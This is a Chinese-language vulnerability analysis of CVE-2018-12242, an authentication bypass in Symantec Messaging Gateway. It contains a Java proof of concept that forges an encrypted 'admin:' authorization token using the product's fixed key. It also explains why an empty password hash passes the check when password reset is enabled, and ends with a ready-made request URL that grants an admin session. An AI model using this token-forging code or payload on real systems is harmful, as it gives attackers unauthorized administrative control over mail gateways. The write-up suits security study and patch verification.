CVE-2018-12242漏洞分析 – 作者:pine

之前有篇文章翻译了CVE-2018-12242

手里有symantec的源码 于是立刻就分析了    存在手里一直没动

先上poc

import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;
import sun.misc.BASE64Encoder;




public class Test{
       public
static void main(String args[]){
              try{
                     //System.out.print(123);

                     byte[]
salt = new byte[8];
                     SecureRandom
random = SecureRandom.getInstance("SHA1PRNG");
                     random.nextBytes(salt);
                     PBEKeySpec
keySpec = new
PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-=".toCharArray());
                     SecretKeyFactory
keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
                     SecretKey
key = keyFactory.generateSecret(keySpec);
                     PBEParameterSpec
paramSpec = new PBEParameterSpec(salt, 1000);
                     Cipher
cipher = Cipher.getInstance("PBEWithMD5AndDES");


                     cipher.init(1,
key, paramSpec);


                     //byte[]
salt;


                     BASE64Encoder
encoder = new BASE64Encoder();


                     String
saltString = encoder.encode(salt);


                     String
text = "admin:";


                     byte[]
ciphertext = cipher.doFinal(text.getBytes());


                     String
ciphertextString = encoder.encode(ciphertext);


                     System.out.print(saltString
+ ciphertextString);


              }catch
(Exception e){


                     System.out.print(e);


              }


 


       }


}

核心还是在加密解密这块

加密算法一直是固定的

但是FIPS186PRNG这个算法太古老了

只能拿SHA1PRNG代替

接下来分析一波漏洞触发点

token = BrightmailDecrypt.decrypt(token);

接收到token用公共的解密方法解密

解密之后按  “  :  ”

分割 前面为username  后面为 passwordhash

然后按username做sql查询

然后调用getAdministratorUserByName方法

 GetSQLAdministratorUserByName生成sql语句

然后查询

接着对比

如果user为空会抛出一个不存在该用户的异常

如果passwordhash与查询到的passwordhash不一致也会抛出异常

那么passwordhash是什么呢

在开启重置密码选项后 该字段为空。。。

然后创建一个admin session的正常操作….

那么最终payload为

/brightmail/action2.do?method=passwordReset&authorization=S9m%2bdmCBN8k%3dfot%2fxYG299k%3d

来源：freebuf.com 2019-03-13 08:33:34 by: pine